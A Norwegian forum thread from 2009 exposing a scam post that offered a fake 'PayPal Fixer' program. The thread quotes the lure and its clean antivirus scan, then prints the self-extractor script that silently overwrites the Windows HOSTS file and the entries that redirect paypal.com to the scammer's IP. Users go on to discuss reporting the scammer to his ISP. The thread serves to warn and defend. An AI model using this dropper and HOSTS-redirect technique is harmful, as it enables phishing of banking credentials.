Du må være registrert og logget inn for å kunne legge ut innlegg på freak.no
X
LOGG INN
... eller du kan registrere deg nå
Dette nettstedet er avhengig av annonseinntekter for å holde driften og videre utvikling igang. Vi liker ikke reklame heller, men alternativene er ikke mange. Vær snill å vurder å slå av annonseblokkering, eller å abonnere på en reklamefri utgave av nettstedet.
  15 1232
Noen rakk kansje å få med seg at en bruker med navn NatePed hadde en post med det samme navnet. For de som har lastet ned og kjørt filen så skal jeg komme til saken, men først posten:

Prosjekt: PayPal Fixer
Hei, jeg holder på med et projeckt som jeg kaller for "PayPal Fixer" the er nesten det samme som Greasemonkey scripten "Facebook Fixer", bare at "PPF" er kodet i C++!

Har ikke tid til å poste noen features enda, men prossesen for å installere det er VELDIG straight forward; Bare åpne auto extracteren å når den er ferdig så logger du bare inn på PayPal.com...

Virus Scan;
File Info

Report generated: 18.8.2009 at 0.54.01 (GMT 1)
Filename: PayPalFixer.exe
File size: 67 KB
MD5 Hash: 097f433a00da21241d47822222e4b2fc
SHA1 Hash: 97B5ADCD854EF65D534F1C219E52C0EA899187EB
Self-Extract Archive: Yes => RarSFX Archive
Binder Detector: Nothing found
Detection rate: 0 on 22

Detections

a-squared - -
Avira AntiVir - -
Avast - -
AVG - -
BitDefender - -
ClamAV - -
Comodo - -
Dr.Web - -
Ewido - -
F-PROT6 - -
Ikarus T3 - -
Kaspersky - -
McAfee - -
NOD32 v3 - -
Norman - -
Panda - -
QuickHeal - -
Solo Antivirus - -
Sophos - -
TrendMicro - -
VBA32 - -
VirusBuster - -

Scan report generated by
NoVirusThanks.org
Link: xxxx

Download:
xxxx

PS: Dette er ikke noe ustabil Beta verson, bare du du vet det
Vis hele sitatet...
Bare så det er enkelt forstått, dette fikset ikke noe som helst. Innholdet var som en HOSTS fil med følgende endringer:
212.251.206.10 paypal.com
212.251.206.10 www.paypal.com

samt en instruksjon til rarprogrammet om at ved kjøring så skulle følgende skje:
;The comment below contains SFX script commands

Path=CWINDOWS\system32\drivers\etc
SavePath
Silent=1
Overwrite=1

med andre ord, overskrive den HOSTS filen man har og legge inn den nye.

212.251.206.10 er ipadressen til overnevnte idiot. Ja, han brukte hjemmeadressen sin for scamming. Ikke det at det fungerte, for det er ingen svar fra den ipen.

For de som kjørte den, åpne hostsfilen i notepad og slett de to linjene som er lagt til.
Sist endret av meitemark; 18. august 2009 kl. 01:40.
Jeg tenkte jeg skulle skrive dette i gjeldende tråd, før den ble slettet: Hvilken garanti har vi for at en med 18 poster ikke prøver å scamme/lure noen her, ettersom dette er en "nettbank".

Men det ble med tanken. Supert at noen sjekket, meitemark!
Hehe, den ble nok rapportert rimelig kjapt ja... Man er passe idiot om man prøver seg på noe sånt her av alle steder.
Sist endret av TheGEEK; 18. august 2009 kl. 02:09.
meitemark's Avatar
Trådstarter DonorAdministrator
Sitat av TheGEEK Vis innlegg
Hehe, den ble nok rapportert rimelig kjapt ja... Man er passe idiot om man prøver seg på noe sånt her av alle steder.
Vis hele sitatet...
Rapportert etter 10 minutter.
Godt jobba meitemark og andre som fikk med seg dette!
Sitat av meitemark Vis innlegg
Rapportert etter 10 minutter.
Vis hele sitatet...
Ja, og postet/diskutert/undersøkt på irc enda tidligere;P
Leste tråden, lasta ned og kjørte fila.
Åpna paypal.com med VELDIG stor skepsis, hadde ikke tenkt å logge inn før jeg var sikker.
Fikk ikke svar fra IP. Sjekka da loggen i GW. Oppdaget at IP ikke var som den skulle, reboota derfor alt, og når jeg fikk kobla på igjen, og sjekka nff, så jeg dette

HALLO!
ip-en 212.251.206.10 MENER jeg tilhører Telenor eller Canal Digital sin range..

Rapportere? Yes.

Hadde rett ang rangen.
Canal Digital.

Sender mail kjapt

Spam:

Done.
Sist endret av VLK; 18. august 2009 kl. 02:45. Grunn: Automatisk sammenslåing med etterfølgende innlegg.
Lite kontroversiell
ticks's Avatar
Stakkarslig menneske som er så gira på å svindle mennesker for penger at han glemmer å kontrollere at maskina hans i det hele tatt er tilgjengelig fra internett.

Lukter jeg lynsj, forresten? Dette er jo faktisk rimelig alvorlig...
Sist endret av ticks; 18. august 2009 kl. 08:27.
meitemark's Avatar
Trådstarter DonorAdministrator
Sitat av ticks Vis innlegg
Stakkarslig menneske som er så gira på å svindle mennesker for penger at han glemmer å kontrollere at maskina hans i det hele tatt er tilgjengelig fra internett.
Vis hele sitatet...
Tingen er det at det er avtalebrudd mot CDI (Canal Digital Internet) å sette opp servere på linje levert fra de, samt at de eller fleste ISPer leverer routere som ikke lar seg sette opp webservere via (verken http, eller https). Etter hva jeg husker er CDI en av disse.

http://www.canaldigital.no/upload/ka...r_bredband.pdf
Internett-tjenesten via kabel skal ikke benyttes til å drive egne eller
kommersielle servertjenester
Vis hele sitatet...
Yepp, alt som går under servere (spill, chat, web, ftp) er ulovlig å ha i CDI sitt nettverk.
Sitat av meitemark Vis innlegg
Tingen er det at det er avtalebrudd mot CDI (Canal Digital Internet) å sette opp servere på linje levert fra de, samt at de eller fleste ISPer leverer routere som ikke lar seg sette opp webservere via (verken http, eller https). Etter hva jeg husker er CDI en av disse.

http://www.canaldigital.no/upload/ka...r_bredband.pdf

Yepp, alt som går under servere (spill, chat, web, ftp) er ulovlig å ha i CDI sitt nettverk.
Vis hele sitatet...
da jeg selv har nett gjennom canal digital på 2 forskjellige adresser er min erfaring at det ikke er noen sperrer mot å sette opp egen server fra de sin side. MEN du har ikke lov til dette selv om de ikke sperrer deg - men hvis det skulle oppstå problemer med f.eks. linja har du ingenting du skulle sagt; og begynne å klage til support om at serveren din er nede p.g.a. nedetid på linjen osv vil ikke føre noen vei; da du aldri hadde lov til å drive slik virksomhet på linjen. - men jeg vil ikke tro de bryr seg så mye om du bare kjører en liten privatserver hjemme; så lenge trafikken ikke er så stor at den påvirker andre i område.
meitemark's Avatar
Trådstarter DonorAdministrator
etse: Har bare hørt fra enkelte med CDI at den routeren de hadde plent nektet folk å sette opp tjenester på port 80/443, uansett hvor mye de stilte det inn i routeren. Samme routere hadde også muligheten for fjernadministrering via de samme portene, men selv med den tjenesten avskrudd fungerte det ikke. Dvs, det fungerte hvis de hentet opp sin eksterne ip, men ingen andre klarte å komme inn på de.
Jeg har en server som bouncer VLKEver og Verdaling på IRC. Den står på en CD linje.

Og i tillegg til at det er forbudt å hoste ting på linja si, reagerer de sterkt på slike ting som dette.
Sitat av meitemark Vis innlegg
etse: Har bare hørt fra enkelte med CDI at den routeren de hadde plent nektet folk å sette opp tjenester på port 80/443, uansett hvor mye de stilte det inn i routeren. Samme routere hadde også muligheten for fjernadministrering via de samme portene, men selv med den tjenesten avskrudd fungerte det ikke. Dvs, det fungerte hvis de hentet opp sin eksterne ip, men ingen andre klarte å komme inn på de.
Vis hele sitatet...
På begge mine nett hos Canal Digital har jeg ikke fått sendtn oen routere fra de. Kun modem, og jeg ble heller aldri tilbydt noen router. Modemet jeg fikk er og et helt standard kabel-modem, altså ikke et multimodem med router. Det kan godt være de gjorde det i en periode. men når jeg ble kunde hjemme hos mine foreldre for mange herrens år siden så var det ikke slik; og når jeg ble kunde på hybelen min hos de i fjord høst så var det heller ikke slik. Jeg har selv en veldig fungerende HTTP og FTP server kjørende, tilkoblet en router jeg har kjøpt selv fra komplett. Jeg har heller aldri hørt om noen som har hatt port-forwarding problemer med canal-digital.

Men som sagt, det kan være de hadde en kort periode inne i mellom de 2 gangene jeg bestillte hvor de ga ut routermodem som ikke kunne forwardes på de portene som oftest var brukt for servere; men ingen av vennene mine som har canal digital har i hvertfall merket noe til det.

EDIT: Reagerer veldig sterkt på det? CD er vel Telenor eid, og virker som de følger veldig mye samme standarder og rutiner på slikt. Så lenge det ikke går under "Abuse" og påvirker nettet for andre kunder så tror jeg de rett og slett driter veldig langt i hva du bruker linjen din til, med mindre de får tilsendt klager på virus/barneporno (med annet). Jeg vil tro de uansett ikke gidder bruke ressurser på å ha et system som går gjennom og ser om folk kjører servere på linjene sine - og ikke kan jeg forstå hva de er tjent med å gjøre det heller, utenom noen tapte kunder. For de sin del gjør det vel rent lite forskjell om jeg kjører opp torrent-trafikk for å laste ned 10 ulike linux-distroer eller om jeg setter om en liten FTP-server, med ventrilo, IRC og diverse annet.

I hvertfall etter min erfaring etter å ha jobbet i Ventelo er jo rett og slett at det er fordi at når folk klager på at linja de si ikke virker og begynner å syte om indirekte tap pga det. (Typisk at de trenger den til jobb, en server de har noe på osv) så har ikke kunden krav åp noen ting, da det står i avtalevilkårene at linjen ikke skal brukes til noe kommersielt og lignende - og kunden skal derfor ikke ha noen indirekte tap på grunn av nedetid på linjen. Hvilket er forstålig nok.
Sist endret av etse; 18. august 2009 kl. 15:54. Grunn: Automatisk sammenslåing med etterfølgende innlegg.
Yo. Kabelmodem her også, alt etter kabelmodemet eies av meg selv.

Og jeg vil egentlig tro de reagerer i det minste, det håper jeg ihvertfall..
Hallo.

Fikk svar fra CD idag.

Sv: Web-skjema henvendelse [Annet]
Hei.
Tusen takk for din henvendelse. Informasjonen er oversendt vår abuseavdeling. Jeg kan desverre ikke kommentere videre saksgang i denne saken,men kan på generelt grunnlag nevne at misbruk i form av svindelforsøk oppfattes som svært alvorlig fra vår side, og vil bli undersøkt videre.
Med vennlig hilsen
Canal DigitalTV - BREDBÅND - TELEFONI
Nice
Håper de tar ham